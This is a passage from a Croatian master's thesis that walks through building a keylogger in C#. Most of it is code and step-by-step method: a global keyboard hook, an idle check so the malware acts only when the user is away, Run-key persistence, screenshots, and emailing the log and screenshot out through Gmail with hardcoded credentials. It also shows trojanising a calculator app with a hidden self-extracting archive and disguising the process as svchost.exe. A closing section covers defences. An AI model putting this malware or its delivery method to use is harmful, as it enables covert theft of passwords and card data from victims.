Osnova programskog koda koji omogućava intervalno izvršavanje su metode Timer() i<br />
OnTimedEvent() koje efektivno predstavljaju štopericu i dogaĎaj koji će se intervalno<br />
izvršavati.<br />
private static System.Timers.Timer aTimer;<br />
GC.KeepAlive(aTimer);<br />
aTimer = new System.Timers.Timer(10000);<br />
aTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);<br />
aTimer.Enabled = true;<br />
Poviše prvo stvaramo štopericu, odnosno Timer objekt kojega štitimo od garbage collectora<br />
metodom GC.KeepAlive(). Zatim specificiramo duljinu intervala u milisekundama i dogaĎaj.<br />
Slijedi metoda OnTimedEvent() unutar koje vršimo provjeru mirovanja (bit će kasnije<br />
opisano) popraćenu pozivima ţeljenih funkcija.<br />
5.2. Klasa Hook.cs<br />
Osnova svakog keyloggera je mogućnost detekcije pritisnutih tipki. Ta funkcionalnost je u<br />
ovom primjeru ostvarena unutar zasebne klase Hook.cs. Osluškivanje dogaĎaja s tipkovnice je<br />
izvedeno korištenjem globalne udice. Osnova korištene metode je API funkcija<br />
SetWindowsHookEx( ) [9] [10] [11].<br />
Slijedi pregled glavnih dijelova klase Hook.cs (potpuni programski kod se moţe vidjeti na<br />
priloţenom CD-u).<br />
Započinje se deklaracijom korištenih metoda koje se nalaze unutar User32.dll datoteke. Za<br />
njihovu deklaraciju se koristi atribut DllImport().<br />
17
Sljedeće metode predstavljaju okosnicu u radu keyloggera.<br />
- SetWindowsHookEx – omogućava instalaciju aplikacijski definirane hook procedure<br />
unutar hook lanca<br />
- UnhookWindowsHookEx – uklanja hook proceduru iz hook lanca i time oslobaĎa<br />
sistemske resurse pri zatvaranju keylogger aplikacije<br />
- CallNextHookEx – poziva sljedeću udicu u nizu tako da ostale aplikacije koje se koriste<br />
udicama mogu ispravno raditi (npr. Windows shortcuts)<br />
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]<br />
public static extern IntPtr SetWindowsHookEx(<br />
int idHook,<br />
HookDel lpfn,<br />
IntPtr hMod,<br />
uint dwThreadId);<br />
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]<br />
[return: MarshalAs(UnmanagedType.Bool)]<br />
public static extern bool UnhookWindowsHookEx(<br />
IntPtr hhk);<br />
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]<br />
public static extern IntPtr CallNextHookEx(<br />
IntPtr hhk,<br />
int nCode,<br />
IntPtr<br />
wParam,<br />
IntPtr lParam);<br />
Svaka tipka na tipkovnici kada se pritisne generira tzv. scan code. Driver od tipkovnice<br />
prevodi, odnosno mapira svaki scan code u virtual-key code, odnosno broj koji jednoznačno<br />
predstavlja svaku pritisnutu tipku.<br />
Slijedi deklaracija enumeration konstante gdje se simboličnom nazivu pritisnute tipke<br />
pridodjeljuje odgovarajuća heksadecimalna vrijednost.<br />
public enum VK<br />
{<br />
VK_BACK = 0X08, //Backspace<br />
18
}<br />
VK_RETURN = 0X0D, //Enter<br />
VK_CAPITAL = 0X14, //Caps-Lock<br />
. . . .<br />
VK_0 = 0X30,<br />
VK_1 = 0X31,<br />
VK_2 = 0X32,<br />
VK_3 = 0X33,<br />
. . . .<br />
VK_A = 0X41,<br />
VK_B = 0X42,<br />
VK_C = 0X43,<br />
VK_D = 0X44,<br />
. . . .<br />
VK_NUMPAD0 = 0X60,<br />
VK_NUMPAD1 = 0X61,<br />
VK_NUMPAD2 = 0X62,<br />
VK_NUMPAD3 = 0X63,<br />
. . . .<br />
Funkcija CreateHook stvara low level windows hook koristeći već opisanu API metodu<br />
SetWindowsHookEx() kojoj se prosljeĎuju redom sljedeći parametri:<br />
- prvi parametar označava vrstu hook procedure koja se instalira (WH_KEYBOARD_LL)<br />
- drugi parametar je pointer na hook proceduru<br />
- treći parametar je handle modula trenutnog vlasnika hook procedure, a dobavljamo ga pozivom<br />
funkcije GetModuleHandle()<br />
- četvrti parametar je identifikator niti s kojom ţelimo asocirati hook proceduru, a postavljanjem<br />
vrijednosti na nulu hook proceduru asociramo sa svim postojećim nitima.<br />
public static void CreateHook(KeyHandler _kh)<br />
{<br />
}<br />
Process _this = Process.GetCurrentProcess();<br />
ProcessModule mod = _this.MainModule;<br />
hd = HookFunc;<br />
kh = _kh;<br />
hhk = API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);<br />
//13 - označava da se radi o WH_KEYBOARD_LL low-level hook-u<br />
19
Slijedi definicija funkcije kojom uklanjamo hook proceduru iz hook lanca. To se postiţe<br />
prosljeĎivanjem handlea hook procedure koju uklanjamo API funkciji<br />
UnhookWindowsHookEx():<br />
public static bool DestroyHook()<br />
{<br />
}<br />
return API.UnhookWindowsHookEx(hhk);<br />
public void OnTimedEvent(object source, ElapsedEventArgs e)<br />
{<br />
}<br />
if (GetIdleTime() > 10000)<br />
{<br />
}<br />
fastFlashWindow();<br />
//printScreen();<br />
//sendMail();<br />
Sve akcije koje se izvode intervalno vide se upravo unutar ove metode, a dodavanje novih se<br />
trivijalno svodi na dodavanje poziva pripadajućih funkcija.<br />
5.3. Detekcija prisutnosti korisnika<br />
Tijekom izvršavanja nekih od radnji keyloggera (slanje e-maila, slikanje ekrana, brzi prikaz<br />
log datoteke...) postoji mogućnost trenutnog usporavanja sustava što korisniku moţe biti<br />
sumnjivo. Da bi se izbjegla takva situacija implementirana je stalna provjera prisutnosti<br />
korisnika za računalom.<br />
Funkcije slanja e-maila i slikanja zaslona su automatizirane, odnosno izvršavaju se unutar<br />
stalnih vremenskih intervala, stoga se pri svakom intervalu postavlja uvjet "mirovanja" (eng.<br />
idle) kao uvjet za daljnje izvršavanje tih funkcija. Provjerom mirovanja se osigurava da<br />
korisnik trenutno ne tipka na tipkovnici niti koristi miša. Time moţemo s velikom sigurnošću<br />
ustvrditi da korisnik nije za računalom ili bar ne gleda u zaslon istog.<br />
20
Programski kod započinje dodavanjem User32.dll datoteke i metode GetLastInputInfo kojoj<br />
se prosljeĎuje ispod definirana struktura LASTINPUTINFO.<br />
[DllImport("User32.dll")]<br />
private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);<br />
internal struct LASTINPUTINFO<br />
{<br />
}<br />
public uint cbSize;<br />
public uint dwTime;<br />
Slijedi definicija funkcije GetIdleTime() koja računa vrijeme mirovanja i vraća ga kao<br />
povratnu vrijednost. Vrijeme mirovanja se dobije oduzimanjem vremenske oznake posljednje<br />
korisnikove akcije od trenutne vremenske oznake.<br />
public static uint GetIdleTime()<br />
{<br />
}<br />
LASTINPUTINFO lastInPut = new LASTINPUTINFO();<br />
lastInPut.cbSize = (uint)System.Runtime.InteropServices<br />
GetLastInputInfo(ref lastInPut);<br />
.Marshal.SizeOf(lastInPut);<br />
return ( (uint)Environment.TickCount - lastInPut.dwTime);<br />
5.4. Skriveni izbornik<br />
Pri pokretanju keylogger ne odaje svoju prisutnost korisniku. MeĎutim, pri unosu ključne<br />
riječi ("fesb") glavni izbornik keyloggera se prikazuje (Slika 5.1.).<br />
Iako keylogger samostalno vrši sve radnje u pozadini, unutar skrivenog izbornika su<br />
ponuĎene opcije za ručno manipuliranje funkcionalnostima.<br />
- Pokaţi log: klik mišem na ovo dugme u textbox kontroli prikaţe trenutni sadrţaj log<br />
datoteke, odnosno do sada "uhvaćeni" tekst<br />
- Pošalji log: šalje e-mail s log datotekom i uslikanim zaslonom (screenshot)<br />
- Sakrij prozor: ponovno skriva izbornik od korisnika<br />
- Bljesni!: prikazuje log datoteku unutar novog prozora u donjem desnom uglu ekrana<br />
- Uslikaj!: uslika trenutno stanje na ekranu (screenshot)<br />
- Ukloni reg. key: uklanja startup ključ iz registra<br />
21
Slika 5.1. Skriveni izbornik keylogger aplikacije<br />
5.5. Dodavanje u startup modifikacijom registra<br />
Da bi se keylogger pokretao pri svakom paljenju računala potrebno je izvršiti modifikacije<br />
unutar registra. Točnije, potrebno je dodati odgovarajući unos unutar Run lokacije u registru<br />
(Slika 5.2.).<br />
Sljedećim isječkom programskog koda prikazana je potrebna modifikacija.<br />
String lokacija = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";<br />
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(lokacija, true);<br />
if (rkApp.GetValue("Keylogger") == null)<br />
{<br />
}<br />
rkApp.SetValue("Keylogger", Application.ExecutablePath.ToString());<br />
Opis programskog koda:<br />
Unutar varijable lokacija sprema se putanja do mjesta u registru kojeg treba modificirati, a<br />
zatim se ta lokacija otvara za upis. Provjerava se da li je modifikacija već napravljena,<br />
odnosno da li je vrijednost "Keylogger" unesena i ovisno o tome nastavlja se s daljnjom<br />
modifikacijom.<br />
22
5.6. Screenshot<br />
Slika 5.2. Sadržaj run registra nakon modifikacije<br />
Ovaj keylogger ima mogućnost hvatanja stanja na ekranu u obliku slike u jpeg formatu. Ta<br />
funkcionalnost je omogućena funkcijom printScreen() čije se izvoĎenje moţe pozvati s bilo<br />
kojeg mjesta u programskom kodu.<br />
public void printScreen()<br />
{<br />
}<br />
Bitmap printscreen = new Bitmap(Screen.PrimaryScreen.Bounds.Width,<br />
Screen.PrimaryScreen.Bounds.Height);<br />
Graphics graphics = Graphics.FromImage(printscreen as Image);<br />
graphics.CopyFromScreen(0, 0, 0, 0, printscreen.Size);<br />
printscreen.Save("printscreen.jpg", ImageFormat.Jpeg);<br />
Stvara se novi bitmap objekt printscreen veličine zaslona, što u biti predstavlja sliku. Nadalje,<br />
od te slike se stvara graphic objekt graphics. Tek tada se "hvata" sadrţaj ekrana i sprema u<br />
obliku jpeg slike imena "printscreen.jpg".<br />
5.7. Spremanje podataka<br />
Praćenje pritisnutih tipki se naposljetku svodi na spremanje podataka u log datoteku. Log<br />
datoteka moţe biti enkriptirana te sakrivena bilo gdje na disku zaraţenog računala. U ovom<br />
23
slučaju podatke spremamo unutar neenkriptirane tekstualne datoteke log.tmp koja se nalazi<br />
gdje i izvršna datoteka keyloggera.<br />
Slijedi isječak programskog koda koji omogućava spremanje pritisnutih tipki s tipkovnice<br />
unutar tekstualne datoteke (log datoteka). Pri svakom pokretanju keylogger aplikacije<br />
potrebno je izvršiti provjeru da li log datoteka postoji na specificiranom mjestu u disku.<br />
Ako datoteka ne postoji, potrebno ju je stvoriti. Provjeru vršimo koristeći metodu<br />
System.IO.File.Exists() koja provjerava postojanje datoteke, a metodom File.Create()<br />
stvaramo istu.<br />
if (System.IO.File.Exists("log.tmp") == false)<br />
{<br />
}<br />
File.Create("log.tmp");<br />
Kako je već opisano, svaki pritisak tipke na tipkovnici generira jedinstveni virtualni kod.<br />
Vrijednost virtualnog koda uvjetuje koji je znak korisnik utipkao, odnosno koji će se znak<br />
upisati u log datoteku. Varijabla temp označava trenutno utipkani znak koji se sprema. Slijedi<br />
switch naredba koja u ovisnosti o virtualnom kodu varijabli temp dodjeljuje odreĎenu<br />
vrijednost.<br />
switch (vk)<br />
{<br />
}<br />
case Hook.VK.VK_NUMPAD0: temp = "0";<br />
break;<br />
case Hook.VK.VK_NUMPAD1: temp = "1";<br />
break;<br />
. . .<br />
case Hook.VK.VK_Q: temp = "q";<br />
break;<br />
case Hook.VK.VK_W: temp = "w";<br />
break;<br />
case Hook.VK.VK_E: temp = "e";<br />
break;<br />
. . .<br />
default: break;<br />
24
Samo spremanje u log datoteku se vrši prosljeĎivanjem varijable temp metodi writeToFile -<br />
writeToFile(temp). Definicija metode writeToFile() je dana sljedećim programskim kodom:<br />
public void writeToFile(String writing)<br />
{<br />
}<br />
TextReader tr = new StreamReader("log.tmp");<br />
String tmp = tr.ReadToEnd();<br />
tr.Close();<br />
TextWriter tw = new StreamWriter("log.tmp");<br />
tw.Write(tmp + writing);<br />
tw.Close();<br />
Datoteku log.tmp je potrebno prvo pročitati, to se izvodi pomoću streamreadera i pozivom<br />
metode ReadToEnd(). Sadrţaj log datoteke se sprema unutar varijable tmp. Zatim slijedi<br />
pisanje u datoteku log.tmp, a to se izvodi pomoću streamwritera i pozivom metode Write(). U<br />
log datoteku se ovog puta upisuje cijeli trenutni sadrţaj iste (tmp) uz dodatak utipkanog znaka<br />
(varijabla temp koja je prosljeĎena metodi).<br />
5.8. Slanje log datoteke e-mailom<br />
Slanje log datoteke i slike zaslona moţe se vršiti na više načina od kojih su najčešće: slanje na<br />
FTP server i slanje e-mailom. U ovoj keylogger aplikaciji koristit ćemo e-mail metodu. U tu<br />
svrhu pišemo zasebnu funkciju sendMail() koja vrši slanje maila. Funkcija se moţe pozivati<br />
sa bilo kojeg mjesta u programskom kodu.<br />
public void sendMail()<br />
{<br />
TextReader tr = new StreamReader("log.tmp");<br />
String subjectTxt = tr.ReadToEnd();<br />
MailMessage message = new MailMessage("keylog.fesb@gmail.com",<br />
"keylog.fesb@gmail.com", "Log file", subjectTxt);<br />
SmtpClient emailClient = new SmtpClient("smtp.gmail.com", 587);<br />
System.Net.NetworkCredential SMTPUserInfo = new<br />
System.Net.NetworkCredential("keylog.fesb", "keylogfesbpass");<br />
System.Net.Mail.Attachment attachment;<br />
attachment = new System.Net.Mail.Attachment("printscreen.jpg");<br />
message.Attachments.Add(attachment);<br />
25
}<br />
emailClient.UseDefaultCredentials = false;<br />
emailClient.Credentials = SMTPUserInfo;<br />
emailClient.EnableSsl = true;<br />
emailClient.Send(message);<br />
tr.Close();<br />
Opis programskog koda:<br />
Prvo otvaramo log datoteku pomoću metode StreamReader te njen sadrţaj stavljamo u<br />
varijablu subjectTxt. Nadalje, pomoću metode MailMessage unosimo e-mail adresu<br />
pošiljatelja i primatelja, a u našem slučaju to je ista adresa - keylog.fesb@gmail.com<br />
Koristimo Gmail servis za slanje e-maila stoga slijedi unos odgovarajućih podataka<br />
korištenjem metoda System.Net.Mail.SmtpClient() i System.Net.NetworkCredential():<br />
smtp server: smtp.gmail.com<br />
port: 587<br />
korisničko ime: keylog.fesb<br />
lozinka: keylogfesbpass<br />
Screenshot sliku postavljamo kao privitak (eng. attachment), a to postiţemo metodom<br />
System.Net.Mail.Attachment() prosljeĎujući joj ime slike – "printscreen.jpg". Završno slanje<br />
e-maila vrši emailClient.Send() metoda.<br />
5.9. Brzi prikaz log datoteke<br />
Kako je već opisano jedna od metoda dohvata pritisnutih tipki je metoda optičkog nadziranja.<br />
Ta metoda nije česta zbog očitih fizičkih ograničenja ali njenim predstavljanjem u ovom<br />
diplomskom radu pokušat će se dočarati mnogobrojnost mogućih metoda koja je ograničena<br />
samo domišljatošću njihovih tvoraca.<br />
Pretpostavka je da se vrši nekakav optički nadzor nad računalom. Kako je već opisano, vrši se<br />
detekcija prisutnosti korisnika i kada se korisnik udalji od računala cilj je na kratko prikazati<br />
njegove unose, odnosno log file. Ovdje se ţeli iskoristiti činjenica da brzi prikaz log datoteke<br />
(~50ms) nije vidljiv korisniku, ali se moţe detektirati korištenom nadzornom opremom (npr.<br />
kamera s teleobjektivom).<br />
26
Prvo je potrebno definirati novu formu unutar koje će biti tekst log datoteke:<br />
public Form2()<br />
{<br />
}<br />
InitializeComponent();<br />
box = textBox1;<br />
TextReader tr = new StreamReader("log.tmp");<br />
string loggedText = tr.ReadToEnd();<br />
tr.Close();<br />
textBox1.Text = loggedText;<br />
Po svojoj inicijalizaciji forma korištenjem streamreadera otvara log datoteku "log.tmp" i čita<br />
njen sadrţaj funkcijom ReadToEnd(). Na kraju se pročitani tekst loggedText ispisuje unutar<br />
textBox kontrole.<br />
Slijedi programski kod funkcije fastFlashWindow() koja omogućava kratki prikaz log<br />
datoteke:<br />
public void fastFlashWindow()<br />
{<br />
}<br />
Form2 Form2 = new Form2();<br />
Form2.StartPosition = FormStartPosition.Manual;<br />
Rectangle workingArea = SystemInformation.WorkingArea;<br />
Point nLocation = new Point(workingArea.Width - Form2.Width,<br />
workingArea.Height - Form2.Height);<br />
Form2.Location = nLocation;<br />
Form2.ShowInTaskbar = false;<br />
Form2.Visible = true;<br />
Form2.Show();<br />
form = Form2;<br />
form.box.Select(0, 0);<br />
System.Timers.Timer aTimer = new System.Timers.Timer();<br />
aTimer.Elapsed += new<br />
System.Timers.ElapsedEventHandler(aTimer_Elapsed);<br />
aTimer.Interval = 75;<br />
aTimer.Enabled = true;<br />
27
Opis programskog koda:<br />
Tekst će biti prikazan unutar novostvorene forme Form2. Pozicija nove forme će uvijek biti u<br />
donjem desnom uglu radne površine. Ta pozicija (točka) se računa oduzimanjem širine i<br />
visine forme od širine i visine radne površine te smješta unutar varijable nLocation. Nova<br />
pozicija forme se vrši postavljanjem atributa Location na novu vrijednost nLocation. Zatim se<br />
stvara nova štoperica aTimer koja nakon specificiranog vremena (u milisekundama) skriva<br />
formu. Nakon izvršavanja ovog koda dobije se ţeljeni rezultat, odnosno kratak prikaz<br />
(bljesak) nove forme unutar koje se nalazi sadrţaj log datoteke.<br />
5.10. Infekcija keyloggerom<br />
Osnova svakog keyloggera je potajan rad. S time na umu koriste se razne metode potajne<br />
infekcije ţrtvinog računala.<br />
Naša metoda koristi zasebnu legitimnu aplikaciju čijim se pokretanjem potajno vrši kopiranje<br />
keylogger aplikacije na disk i njeno dodavanje u startup registar što pak znači pokretanje<br />
keyloggera sa svakim sljedećim paljenjem računala. U ovom primjeru korištena je open<br />
source aplikacija PC_Calculator (Slika 5.3.) koja pruţa sve funkcionalnosti jednostavnog<br />
kalkulatora [12].<br />
Slika 5.3. Sučelje aplikacije PC_Calculator<br />
28
Dakle, potrebno je modificirati programski kod aplikacije PC_Calculator tako da pri<br />
pokretanju izvrši kopiranje keyloggera na računalo i modifikaciju registra. Sljedeći isječak<br />
programskog koda vrši potrebne radnje:<br />
String lokacija = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";<br />
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(lokacija, true);<br />
public frmCalculator()<br />
{<br />
. . .<br />
InitializeComponent();<br />
if (System.IO.File.Exists(@"D:\test\MojKeylogger.exe") == false)<br />
{<br />
File.Copy("MojKeylogger.exe", @"D:\test\MojKeylogger.exe");<br />
}<br />
if (rkApp.GetValue("Keylogger") == null)<br />
{<br />
}<br />
rkApp.SetValue("Keylogger", @"D:\test\MojKeylogger.exe");<br />
Opis programskog koda:<br />
Lokacija Run unutar registra se otvara i poistovjećuje s varijablom rkApp. Slijedi kopiranje<br />
keylogger aplikacije na disk pomoću metode File.Copy(). Zatim se vrši potrebna modifikacija<br />
registra pozivom SetValue() metode.<br />
Ova metoda infekcije podrazumijeva da se PC_Calculator i keylogger aplikacija nalaze na<br />
istoj memorijskoj lokaciji. Kako se svaka aplikacija nalazi unutar svoje izvršne datoteke<br />
korisnik moţe opaziti zloćudnu narav aplikacije. Cilj je stoga obe aplikacije smjestiti unutar<br />
jedne izvršne datoteke čijim se pokretanjem od strane korisnika neprimjetno izvršava poviše<br />
opisani proces infekcije, odnosno vidljivo pokretanje kalkulatora i pozadinsko kopiranje<br />
keyloggera i modifikacija registra. U tu svrhu koristi se aplikacija WinRAR za stvaranje<br />
samoraspakiravajuće SFX arhive (eng. self-extracting archive).<br />
Na Slici 5.4. prikazan je postupak stvaranja SFX arhive:<br />
- Korak 1: Specificira se ime konačne datoteke i označava stavka Create SFX archive<br />
- Korak 2: Pod stavkom Advanced pristupa se SFX opcijama (SFX options)<br />
- Korak 3: Specificira se koja će aplikacija unutar arhive biti pokrenuta<br />
- Korak 4: Označava se opcija Unpack to temporary folder tako da sadrţaj arhive pri<br />
njenom pokretanju ne ostane na lokalnom disku. TakoĎer se označava opcija Hide all<br />
tako da cijeli proces pokretanja arhive bude skriven od korisnika.<br />
29
Slika 5.4. Postupak stvaranja SFX arhive (koraci 1-4)<br />
Krajnji rezultat ovog postupka je izvršna datoteka imena PC_Calculator.exe čijim se<br />
otvaranjem pokreće kalkulator, a u pozadini vrši infekcija računala keyloggerom.<br />
5.11. Primjena keyloggera<br />
U ovom potpoglavlju bit će opisan način upotrebe keyloggera. Bit će prikazani svi koraci od<br />
hvatanja i spremanja pritisnutih tipki i slike radne površine do slanja podataka napadaču<br />
(mailom i brzim prikazom na ekranu). Nakon uspješne infekcije računala keylogger aplikacija<br />
će se pokretati pri svakom pokretanju sustava. Aplikacija nije vidljiva korisniku i njena<br />
prisutnost se moţe očitovati samo unutar Windows Task Managera gdje se nalazi kao jedan<br />
od niza pokrenutih procesa. Aplikaciji moţemo dati bilo koje ime da maskiramo njenu<br />
stvarnu narav, na primjer svchost.exe (Slika 5.4.). Ime našeg keyloggera je u testne svrhe<br />
MojKeylogger.exe.<br />
30
Slika 5.4. Vidljivost keylogger aplikacije unutar Task Managera<br />
U ovom trenutku aplikacija je spremna za samostalan rad. Sve što korisnik utipka na<br />
tipkovnici bit će registrirano i pohranjeno u log datoteku. Napadaču je cilj zabiljeţiti<br />
povjerljive podatke kao što su korisničko ime, lozinka, brojevi kreditnih kartica itd.<br />
Na Slikama 5.5. i 5.6. su prikazana dva scenarija u kojima korisnik unosi povjerljive podatke,<br />
a kao rezultat se dobije log datoteka s "uhvaćenim" podacima.<br />
- Scenarij 1: Korisnik pristupa svom Gmail korisničkom računu unoseći svoje korisničko<br />
ime i lozinku. Iako je lozinka pri unosu maskirana keylogger bez problema detektira<br />
lozinku i sprema je u log datoteku (Slika 5.5).<br />
Slika 5.5. Pristupanje internet servisu i rezultirajuća log datoteka<br />
- Scenarij 2: Korisnik vrši plaćanje preko interneta i unosi povjerljive podatke kao što su<br />
ime, prezime, broj kreditne kartice, CVV broj, adresa i broj telefona (Slika 5.6.). Kako<br />
je na korisnikovom računalu instaliran keylogger sve unesene informacije su<br />
zabiljeţene u log datoteci (Slika 5.7.).<br />
31
Slika 5.6. Korisnik unosi podatke pri Internet kupovini<br />
Slika 5.7. Log datoteka nakon korisnikovog unosa<br />
Nakon nekog vremenskog intervala (npr. svakih deset minuta) vrši se detekcija prisutnosti<br />
korisnika i slanje log datoteke e-mailom. TakoĎer, u slučaju odsutnosti korisnika vrši se brzi<br />
prikaz log datoteke na ekranu (Slika 5.8.).<br />
Slika 5.8. Brzi prikaz log datoteke u trajanju od 50ms<br />
32
Kako je već opisano šalje se e-mail i unutar njega se nalazi sadrţaj log datoteke i slika<br />
korisnikove radne površine (Slika 5.9.).<br />
Slika 5.9. E-mail poslan napadaču - sadržaj log datoteke<br />
i slika žrtvine radne površine<br />
33
6. ZAŠTITA OD KEYLOGGERA<br />
Anti-spyware<br />
Anti-spyware je software posebno napravljen za detekciju keyloggera (malware-a). Radi na<br />
principu skeniranja datoteka i usporeĎivanja s vlastitom bazom poznatog malware-a. Baza<br />
sadrţi programske karakteristike (eng. signature) svih poznatih zlonamjernih datoteka i<br />
kontinuirano se aţurira. Moţe se reći da je glavni uvjet za detekciju zlonamjerne datoteke<br />
postojanje njene programske karakteristike unutar baze podataka. Stoga, takvi programi nisu<br />
učinkoviti u borbi protiv keyloggera jer postoji znatan vremenski period izmeĎu pojavljivanja<br />
novog malware-a i rezultirajućeg aţuriranja baze novom programskom karakteristikom.<br />
Virtualna tipkovnica<br />
Najčešća mjera zaštite protiv keyloggera je korištenje virtualne tipkovnice koja se iscrtava na<br />
ekranu (Slika 6.1.). Umjesto pritiska tipke na stvarnoj tipkovnici korisnik mišem odabire znak<br />
s virtualne tipkovnice. Postoje različite implementacije ovakve zaštite uključujući "lebdjenje"<br />
iznad ţeljene tipke, nasumično mijenjanje rasporeda tipki, itd.<br />
Ovakvu vrstu zaštite je vrlo lako zaobići korištenjem "hvatanja" slike na zaslonu (eng.<br />
screenshot). Umjesto praćenja unosa utipkanih znakova napadač pri svakom kliku mišem<br />
hvata prostor oko kursora. Time napadač dobije sliku svakog znaka kojeg je korisnik odabrao.<br />
Password manageri<br />
Slika 6.1. Virtualna tipkovnica<br />
Umjesto unošenja lozinki i drugih povjerljivih podataka direktno u web formu, koristi se<br />
software koji automatski popunjava polja na formi točnim podacima.<br />
34
Zaštita takvim programima se lako moţe zaobići korištenjem keyloggera koji se smještaju<br />
unutar Internet preglednika (eng. browser). Na taj način keylogger moţe pročitati povjerljive<br />
podatke pri njihovom unosu u formu. Keyloggeri koji se smještaju unutar Internet preglednika<br />
zovu se man-in-the-browser malware i najčešće se maskiraju kao legitimni plug-in.<br />
Dinamika unosa znakova<br />
Dinamika unosa znakova promatra način na koji korisnik unosi znakove. Točnije, dinamika<br />
unosa mjeri dvije različite vrijednosti:<br />
- vrijeme zadrţavanja (eng. dwell time) - vrijednost koja označava vrijeme provedeno<br />
drţeći tipku pritisnutom<br />
- vrijeme izmjene (eng. flight time) - vrijednost koja označava vrijeme potrebno korisniku<br />
da pritisne sljedeću tipku<br />
Istraţivanje je pokazalo da svaki korisnik ima svoju jedinstvenu dinamiku unosa te da se ova<br />
metoda lako moţe koristiti pri identifikaciji. Ova metoda predstavlja dobar način zaštite s<br />
obzirom da većina keyloggera ne implementira njeno zaobilaţenje. MeĎutim, ovakav način<br />
zaštite je moguće zaobići korištenjem keyloggera koji osim praćenja unosa takoĎer prati i<br />
vrijeme zadrţavanja i vrijeme izmjene. Tada napadač, pretvarajući se da je legitiman korisnik,<br />
pri unosu podataka koristi jednaku dinamiku unosa kao i ţrtva.<br />
Jednokratne lozinke<br />
Primjena jednokratnih lozinki (eng. one time password) znači korištenje drugačije lozinke pri<br />
svakom sljedećem pristupanju sustavu. Korisnik dobiva trenutnu lozinku najčešće koristeći<br />
zasebni ureĎaj koji generira novu lozinku pri svakom upitu ili pak nakon nekog vremenskog<br />
intervala.<br />
Ovakav način zaštite teoretski uvijek blokira neovlašten pristup. Ako keylogger dohvati<br />
lozinku pri korisnikovom prijavljivanju napadač ne moţe iskoristiti tu lozinku za neovlašten<br />
pristup jer ista više ne vrijedi. MeĎutim, napadač moţe izvesti sljedeću vrstu napada: kada<br />
korisnik (ţrtva) pokuša ostvariti pristup svom računu keylogger unesenu jednokratnu lozinku<br />
odmah pošalje napadaču te zaustavi korisnikovu autentifikaciju bilo odugovlačenjem veze ili<br />
javljanjem greške javljajući korisniku da ponovi postupak. Istovremeno, napadač koristi<br />
primljenu lozinku i autentificira se kao ţrtva.<br />
35
Enkripcija unosa<br />
Enkripcija unosa znakova sa tipkovnice predstavlja najefektivniju metodu zaštite od<br />
keyloggera. Cilj ove metode je enkriptirati pritisnute znakove na nivou drivera tipkovnice. Na<br />
taj način znakovi se enkriptiraju pri samom unosu te bilo kakav pokušaj dohvata istih rezultira<br />
neupotrebljivim podacima. Dekripcija znakova se vrši unutar mreţnog sloja i prije njihovog<br />
ulaska u Internet preglednik (izbjegavanje man-in-the-middle napada).<br />
36
7. ZAKLJUČAK<br />
U okviru ovog diplomskog rada obraĎena je problematika narušavanja privatnosti i sigurnosti<br />
korisnika računalnih sustava. Kako teoretski tako i praktično predstavljen je slučaj napada<br />
keyloggerom, malicioznim softverom koji potajno prati korisnikove unose znakova. Uz opis<br />
vrsta keyloggera opisan je i sam princip njihovog rada, kao i osnovni programski mehanizam<br />
Windows Hooks koji omogućuje njihovu glavnu funkcionalnost - praćenje unosa znakova sa<br />
tipkovnice. Problem postojanja keyloggera nije zanemariv, to više što napadač sa samo<br />
osnovnim znanjem programiranja moţe napraviti keylogger koji je u stanju kompromitirati<br />
korisnikovu privatnost i sigurnost te dovesti do neţeljenih posljedica (npr. gubitak novca s<br />
bankovnog računa). U praktičnom dijelu ovog rada dan je postupak izrade keylogger<br />
aplikacije unutar koje su implementirane osnovne funkcionalnosti i metode napada.<br />
Budući da se ljudi sve više oslanjaju na računala u svakodnevnom ţivotu potrebno je biti<br />
svjestan postojanja ovakvog malicioznog <strong>softvera</strong> koji moţe napraviti materijalnu i<br />
emocionalnu štetu, te je preporučljivo poduzeti neke od mjera zaštite predstavljenih u ovom<br />
diplomskom radu.<br />
37
8. LITERATURA<br />
[1] Skupina autora: "Malware", s Interneta, http://en.wikipedia.org/wiki/Malware<br />
[2] Baloch, R.: "An Introduction To Keyloggers, RATS, And Malware", e-knjiga, 2011.<br />
[3] Seltzer L.: "The Growth of Malware: Up, Up, and Away", s Interneta,<br />
http://blogs.pcmag.com/securitywatch/2009/07/the_growth_of_malware_up_up_an.php<br />
[4] Skupina autora: "Bankarski zloćudni programi", CARNet<br />
[5] Aycock, J.: "Spyware and Adware (Advances in Information Security)", Springer, New<br />
York, 2010.<br />
[6] Skupina autora: "Keystroke logging", s Interneta,<br />
http://en.wikipedia.org/wiki/Keystroke_logging<br />
[7] Kelly, A.: "Cracking Passwords using Keyboard Acoustics and Language Modelling", s<br />
Interneta, http://www.inf.ed.ac.uk/publications/thesis/online/IM100855.pdf<br />
[8] Grebennikov N.: " Keyloggers: How they work and how to detect them", s Interneta,<br />
http://www.securelist.com/en/analysis?pubid=204791931<br />
[9] Skupina autora: "Hooks Overview", Microsoft, s Interneta,<br />
http://msdn.microsoft.com/en-us/library/ms644959<br />
[10] Skupina autora: "SetWindowsHookEx Function", Microsoft, s Interneta,<br />
http://msdn.microsoft.com/en-us/library/ms644990<br />
[11] Burrows, E.: "Low-level Windows API hooks from C# to stop unwanted keystrokes", s Interneta,<br />
http://www.codeproject.com/KB/system/CSLLKeyboard.aspx<br />
[12] PsychoCoder: "Basic Calculator in C#", s Interneta,<br />
http://www.dreamincode.net/forums/topic/32968-basic-calculator-in-c/<br />
38